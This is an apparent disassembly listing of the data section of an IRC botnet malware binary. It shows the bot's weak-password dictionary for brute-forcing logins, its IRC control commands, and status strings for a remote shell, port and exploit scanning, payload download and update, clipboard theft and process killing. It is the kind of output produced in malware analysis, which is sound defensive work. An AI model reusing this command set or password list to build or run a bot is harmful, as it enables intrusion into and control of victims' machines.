aWwwadmin db 'wwwadmin',0 ; DATA XREF: .nsp0:0042C348o
align 4
aTeacher db 'teacher',0 ; DATA XREF: .nsp0:0042C344o
; .nsp0:0042DA80o
aStudent db 'student',0 ; DATA XREF: .nsp0:0042C340o
; .nsp0:0042D9C8o
aOwner db 'owner',0 ; DATA XREF: .nsp0:0042C33Co
align 4
aComputer db 'computer',0 ; DATA XREF: .nsp0:0042C338o
; .nsp0:0042C464o
align 4
aStaff db 'staff',0 ; DATA XREF: .nsp0:0042C330o
align 10h
aAdministrat db 'administrat',0 ; DATA XREF: .nsp0:0042C324o
aAdministrateur db 'administrateur',0 ; DATA XREF: .nsp0:0042C320o
align 4
aAdministrato_0 db 'Administrator',0 ; DATA XREF: sub_413627:loc_413732o
; .nsp0:0042C314o ...
align 4
aMirc1_6_99 db 'mirc 1.6.99',0 ; DATA XREF: .nsp0:off_42C268o
a@room db '*@room',0 ; DATA XREF: .nsp0:off_42C264o
align 10h
dword_433150 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40C682+35Co
dd 2029206Ch, 2BBBB02h, 6F422020h, 74732074h, 65747261h
dd 2E64h
dword_43317C dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_40C682+28Ao
dword_433188 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CB75+F2o
dd 2029206Ch, 2BBBB02h
aConnectedToS_ db ' Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40CCDD+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40CCDD+35o
align 10h
aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5CDDo
align 10h
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5CC8o
align 10h
dword_433200 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5CBBo
dd 2029206Ch, 2BBBB02h
aUserSLoggedIn_ db ' User: %s logged in.',0
align 4
dword_433234 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5C9Eo
dd 2029206Ch, 2BBBB02h
aPasswordAccept db ' Password accepted.',0
align 4
dword_433268 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5C40o
dd 2029206Ch, 2BBBB02h
aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0
align 4
dword_4332A8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5BD0o
dd 2029206Ch, 2BBBB02h
aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
; DATA XREF: sub_40CE55+5BC1o
; sub_40CE55+5C31o
align 4
aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_40CE55+5BADo
; sub_40CE55+5C1Do
align 4
asc_433334: ; DATA XREF: sub_40CE55+5B7Do
unicode 0, <~>,0
dword_433338 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5B2Co
dd 2029206Ch, 2BBBB02h
aRandomNickChan db ' Random nick change: %s',0
align 10h
dword_433370 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5A7Eo
dd 2029206Ch, 2BBBB02h
aInvalidLoginSl db ' Invalid login slot number: %d.',0
align 10h
dword_4333B0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5A73o
dd 2029206Ch, 2BBBB02h
aNoUserLoggedIn db ' No user logged in at slot: %d.',0
align 10h
dword_4333F0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5A0Fo
dd 2029206Ch, 2BBBB02h, 73252020h, 0
unk_433414 db 2 ; DATA XREF: sub_40CE55+59E5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToStar_6 db ' Failed to start secure thread, error: <%d>.',0
align 4
dword_433464 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: sub_40CE55+596Fo
dd 6C1F641Fh, 2202920h, 2002BBBBh, 20732520h, 74737973h
dd 2E6D65h
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40CE55+5969o
align 4
aSecuring db 'Securing',0 ; DATA XREF: sub_40CE55+5962o
align 4
aSec db 'sec',0 ; DATA XREF: sub_40CE55+5907o
aSecure db 'secure',0 ; DATA XREF: sub_40CE55+58F6o
align 4
unk_4334B4 db 2 ; DATA XREF: sub_40CE55+58EBo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0
dword_433500 dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40CE55+57C9o
dword_433510 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40CE55+57C4o
dword_43351C dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40CE55+57B1o
dword_433528 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_40CE55+57ACo
dword_433538 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5779o
dd 2029206Ch, 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h
dd 2E676Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CE55:loc_4125C1o
align 4
dword_43357C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5757o
dd 2029206Ch, 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh
dd 2E676E69h, 0
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CE55:loc_41259Fo
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5722o
align 10h
dword_4335D0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+56D6o
dd 2029206Ch, 2BBBB02h
aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0
align 10h
dword_433610 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5698o
dd 2029206Ch, 2BBBB02h, 6F422020h, 44492074h, 7325203Ah
dd 2Eh
dword_43363C dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CE55+566Do
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStartL db ' Failed to start list thread, error: <%d>.',0
dword_433688 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CE55+5602o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h
dd 61657268h, 2E7364h
dword_4336B8 dd 627573h ; DATA XREF: sub_40CE55+55DCo
dword_4336BC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+558Do
dd 2029206Ch, 2BBBB02h, 6C412020h, 20736169h, 7473696Ch
dd 2Eh
dword_4336E8 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_40CE55+5572o
dd 2029206Ch, 2BBBB02h
aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_433734 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_40CE55+54E5o
dd 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h
dd 2E67h
dword_433760 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5464o
dd 2029206Ch, 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh
dd 2E6F66h
dword_43378C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5435o
dd 2029206Ch, 2BBBB02h, 79532020h, 6D657473h, 666E4920h
dd 2E6Fh
dword_4337B8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+53E0o
dd 2029206Ch, 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh
dd 2E746Fh
dword_4337E4 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CE55+53CDo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_9 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_433834 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CE55+535Eo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
dd 6C207373h, 2E747369h, 0
aFull db 'full',0 ; DATA XREF: sub_40CE55+533Eo
align 10h
dword_433870 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CE55+52E7o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyRunning db ' Already running.',0
align 4
unk_4338A4 db 2 ; DATA XREF: sub_40CE55+52BBo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 64h, 6Bh, 65h
db 79h ; y
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aSearchComplete db ' Search completed.',0
align 4
dword_4338D8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+526Fo
dd 2029206Ch, 2BBBB02h, 70552020h, 656D6974h, 7325203Ah
dd 2Eh
dword_433904 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_412027o
dd 2029206Ch, 2BBBB02h
aRemoteShellRea db ' Remote shell ready.',0
align 4
dword_433938 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40CE55+51CBo
dd 2029206Ch, 2BBBB02h
aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0
align 4
dword_433974 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40CE55+51AFo
dd 2029206Ch, 2BBBB02h
aRemoteShellAlr db ' Remote shell already running.',0
dword_4339B0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5199o
dd 2029206Ch, 2BBBB02h, 65472020h, 6C432074h, 6F627069h
dd 2E647261h, 0
aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40CE55+516Bo
align 4
unk_4339F4 db 2 ; DATA XREF: sub_40CE55:loc_411FB0o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushA db ' Failed to flush ARP cache.',0
align 4
unk_433A34 db 2 ; DATA XREF: sub_40CE55+5140o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheFlushe db ' ARP cache flushed.',0
align 4
unk_433A6C db 2 ; DATA XREF: sub_40CE55:loc_411F85o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToLoadDn db ' Failed to load dnsapi.dll.',0
align 4
unk_433AAC db 2 ; DATA XREF: sub_40CE55:loc_411F7Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushD db ' Failed to flush DNS cache.',0
align 4
unk_433AEC db 2 ; DATA XREF: sub_40CE55+5122o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDnsCacheFlushe db ' DNS cache flushed.',0
align 4
unk_433B24 db 2 ; DATA XREF: sub_40CE55+50A4o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_10 db 'Failed to start server thread, error: <%d>.',0
unk_433B70 db 2 ; DATA XREF: sub_40CE55+4F32o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_11 db 'Failed to start server thread, error: <%d>.',0
unk_433BBC db 2 ; DATA XREF: sub_40CE55+4E0Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAlreadyRunni_0 db 'Already running.',0
align 10h
dword_433BF0 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CE55:loc_411C49o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_12 db ' Failed to start scan, port is invalid.',0
align 4
dword_433C3C dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CE55+4D35o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
dword_433CB8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+4AF9o
dd 2029206Ch, 2BBBB02h
aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0
align 10h
dword_433CF0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+4AE0o
dd 2029206Ch, 2BBBB02h
aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0
dword_433D24 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+4AC0o
dd 2029206Ch, 2BBBB02h
aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0
dword_433D58 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+4AA7o
dd 2029206Ch, 2BBBB02h, 52492020h, 61522043h, 25203A77h
dd 2E73h
dword_433D84 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CE55:loc_41187Eo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToKillTh db ' Failed to kill thread: %s.',0
align 4
dword_433DC4 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CE55+4A22o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aKilledThreadS_ db ' Killed thread: %s.',0
align 4
dword_433DFC dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CE55:loc_411831o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aNoActiveThread db ' No active threads found.',0
align 4
dword_433E38 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CE55+49D2o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aStoppedDThread db ' Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: sub_40CE55+49B8o
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+492Do
; sub_40CE55:loc_412589o
align 4
dword_433E88 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+48B7o
dd 2029206Ch, 2BBBB02h
aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0
align 10h
unk_433EC0 db 2 ; DATA XREF: sub_40CE55:loc_4116F7o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCouldnTOpenF_0 db 'Couldn',27h,'t open file: %s',0
align 4
unk_433EF8 db 2 ; DATA XREF: sub_40CE55+4898o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFileOpenedS db 'File opened: %s',0
dword_433F28 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+486Fo
dd 2029206Ch, 2BBBB02h
aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0
align 10h
dword_433F60 dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_4116A8o
dd 2029206Ch, 2BBBB02h
aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0
align 4
dword_433F9C dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
; DATA XREF: sub_40CE55+4825o
dd 2029206Ch, 2BBBB02h
aLookupSS_ db ' Lookup: %s -> %s.',0
dword_433FCC dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CE55:loc_411646o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTermin db ' Failed to terminate process: %s',0
align 10h
dword_434010 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CE55+47E7o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledS db ' Process killed: %s',0
align 4
dword_434048 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CE55:loc_4115E6o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
align 10h
dword_434090 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CE55+478Ao
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledI db ' Process killed ID: %s',0
dword_4340C8 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: sub_40CE55+4749o
dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h, 27206465h
dd 2E277325h, 0
dword_4340F8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CE55+46C4o
dd 2029206Ch, 2BBBB02h
aSendFileSUserS db ' Send File: %s, User: %s.',0
align 10h
dword_434130 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: sub_40CE55+4652o
dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_434158 db 2 ; DATA XREF: sub_40CE55+4637o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_13 db 'Failed to start connection thread, error: <%d>.',0
dword_4341A8 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
; DATA XREF: sub_40CE55+45C8o
dd 206C1F64h, 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h
dd 0
dword_4341D4 dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh
; DATA XREF: sub_40CE55:loc_4113AEo
dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh
dd 2E746E65h, 0
unk_434204 db 2 ; DATA XREF: sub_40CE55+454Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Dh ; m
db 69h, 72h, 63h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientNotOpen_ db ' Client not open.',0
dword_434234 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40CE55+451Eo
dd 2029206Ch, 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h
dd 7325h
dword_434260 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40CE55+4513o
dd 2029206Ch, 2BBBB02h
aErrorSendingTo db ' Error sending to remote shell.',0
align 10h
dword_4342A0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+44D3o
dd 2029206Ch, 2BBBB02h
aReadFileFailed db ' Read file failed: %s',0
align 4
dword_4342D4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+44BFo
dd 2029206Ch, 2BBBB02h
aReadFileComple db ' Read file complete: %s',0
align 4
dword_43430C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+443Ao
dd 2029206Ch, 2BBBB02h, 65472020h, 736F6874h, 25203A74h
dd 2E73h
dword_434338 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+43FFo
dd 2029206Ch, 2BBBB02h
aUnableToExtrac db ' Unable to extract Gethost command.',0
align 4
dword_43437C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+43E3o
dd 2029206Ch, 2BBBB02h
aGethostSComman db ' Gethost: %s, Command: %s',0
align 4
dword_4343B4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+4361o
dd 2029206Ch, 2BBBB02h
aAliasAddedS_ db ' Alias added: %s.',0
align 4
dword_4343E4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+4326o
dd 2029206Ch, 2BBBB02h
aPrivmsgSS_ db ' Privmsg: %s: %s.',0
align 4
dword_434414 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+42D0o
dd 2029206Ch, 2BBBB02h
aActionSS_ db ' Action: %s: %s.',0
align 4
dword_434444 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+4268o
dd 2029206Ch, 2BBBB02h, 79432020h, 2E656C63h, 0
dword_43446C dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40CE55+422Eo
; sub_40CE55+4AB2o
dword_434478 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+41FFo
dd 2029206Ch, 2BBBB02h
aModeChangeS db ' Mode change: %s',0
align 4
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+41F1o
align 4
dword_4344B4 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: sub_40CE55+41C8o
dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h, 29732528h
dd 7325203Ah, 0
dword_4344E4 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: sub_40CE55+415Do
dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh, 73252820h
dd 25203A29h, 73h
dword_434514 dd 45444F4Dh, 732520h ; DATA XREF: sub_40CE55+4108o
dword_43451C dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: sub_40CE55+40D3o
dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh, 73252820h
dd 25203A29h, 73h
dword_43454C dd 4B43494Eh, 732520h ; DATA XREF: sub_40CE55+407Do
; sub_40CE55+48F9o
dword_434554 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40CE55+405Eo
dword_434560 dd 54524150h, 732520h ; DATA XREF: sub_40CE55+3FF4o
dword_434568 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_410E36o
dd 2029206Ch, 2BBBB02h
aRepeatNotAllow db ' Repeat not allowed in command line: %s',0
align 10h
dword_4345B0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+3FAAo
dd 2029206Ch, 2BBBB02h, 65522020h, 74616570h, 7325203Ah
dd 0
aRepeat db 'repeat',0 ; DATA XREF: sub_40CE55+3F59o
align 4
dword_4345E4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_410D66o
dd 2029206Ch, 2BBBB02h, 65442020h, 2E79616Ch, 0
dword_43460C dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_40CE55+3ED1o
; sub_40CE55+3F84o ...
unk_43461C db 2 ; DATA XREF: sub_40CE55:loc_410CD5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aBotIdMustBeDif db ' Bot ID must be different than current running process.',0
unk_434674 db 2 ; DATA XREF: sub_40CE55+3E76o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToStartD db ' Failed to start download thread, error: <%d>.',0
align 4
unk_4346C4 db 2 ; DATA XREF: sub_40CE55+3E07o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
